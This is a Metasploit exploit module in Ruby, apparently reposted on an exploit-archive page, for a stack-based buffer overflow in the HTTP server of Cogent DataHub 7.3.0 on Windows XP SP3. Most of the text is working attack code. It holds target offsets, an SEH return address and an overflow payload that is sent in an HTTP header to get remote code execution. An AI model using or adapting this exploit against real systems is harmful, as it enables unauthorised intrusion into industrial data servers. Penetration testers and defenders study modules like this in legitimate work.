Cogent DataHub HTTP Server Buffer Overflow Exploit

:
23.08.2013
:
ogent DataHub 7.3.0
:

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'Cogent DataHub HTTP Server Buffer Overflow',
'Description' => %q{
This module exploits a stack based buffer overflow on Cogent DataHub 7.3.0. The
vulnerability exists in the HTTP server - while handling HTTP headers, a
strncpy() function is used in a dangerous way. This module has been tested
successfully on Cogent DataHub 7.3.0 (Demo) on Windows XP SP3.
},
'Author' =>
[
'rgod <rgod[at]autistici.org>', # Vulnerability discovery
'juan vazquez', # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '95819'],
[ 'BID', '53455'],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-178' ],
[ 'URL', 'http://www.cogentdatahub.com/Info/130712_ZDI-CAN-1915_Response.html']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Privileged' => false,
'Payload' =>
{
'Space' => 33692,
'DisableNops' => true,
'BadChars' => "\x00\x0d\x0a\x3a"
},
'Platform' => 'win',
'Targets' =>
[
# Tested with the Cogent DataHub 7.3.0 Demo
# CogentDataHubV7.exe 7.3.0.70
['Windows XP SP3 English / Cogent DataHub 7.3.0',
{
'Ret' => 0x7ffc070e, # ppr # from NLS tables # Tested stable over Windows XP SP3 updates
'Offset' => 33692,
'CrashLength' => 4000 # In order to ensure crash before the stack cookie check
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 26 2013'
))

end

def check
res = send_request_cgi({
'uri' => "/datahub.asp",
'method' => 'GET',
})

if res and res.code == 200 and res.body =~ /<title>DataHub - Web Data Browser<\/title>/
return Exploit::CheckCode::Detected
end

return Exploit::CheckCode::Safe
end

def exploit
print_status("Trying target #{target.name}...")

off = target['Offset'] + 8 # 8 => length of the seh_record
bof = payload.encoded
bof << rand_text_alpha(target['Offset'] - payload.encoded.length)
bof << generate_seh_record(target.ret)
bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + off.to_s).encode_string
bof << rand_text(target['CrashLength'])

print_status("Sending request to #{rhost}:#{rport}")

send_request_cgi({
'uri' => "/",
'method' => 'GET',
'raw_headers' => "#{bof}: #{rand_text_alpha(20 + rand(20))}\r\n"
})

end
end